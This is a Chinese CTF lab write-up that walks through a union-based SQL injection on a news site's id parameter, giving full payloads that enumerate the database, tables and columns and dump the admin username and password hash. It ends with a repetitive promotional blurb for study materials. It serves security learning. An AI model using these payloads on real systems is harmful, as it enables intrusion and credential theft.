热点按钮显示热点列表,有三个新闻,里面只有无意义的字符串,但是地址栏显示了/content/1
通过抓包发现提交了GET请求,字段为id
对此我们可以针对热点新闻的id进行sql注入攻击
首先我们构造url,验证id的值为数值型还是字符型,我们在id处输入3-1,结果出现的新闻是2,则该参数值类型应该为数值型
然后我们构造order by sql语句验证该数据表中共有几列数据,当我们order by 3时,列表为空,而order by 2时,列表有数据,则证明该数据表中只有两列
然后我们构造union联合查询,查询该数据库名称,database()可以显示当前数据库名称,得到数据库名为news
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,database()
根据数据库名,我们可以在源数据库information_schema中查到该数据库的所有表名,当前查到一共两张表,admin和contents表。
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'
//group_concat函数为将多个结果合并为一条
通过判断可知contents表应为热点新闻的数据表,admin大概率为用户表,所以我们构建sql根据表名查询该表下的各字段名,成功得到字段名:id,username,password
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin'
由字段名可知username为用户名,password为密码,直接查询这两个字段的值
得到用户名为admin,密码为cafc647c8403b255d8822647235a8d3f
http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(username,' ',password) from admin
点开登录界面进行登录,得到flag
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
!!**](https://bbs.csdn.net/topics/618653875)
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!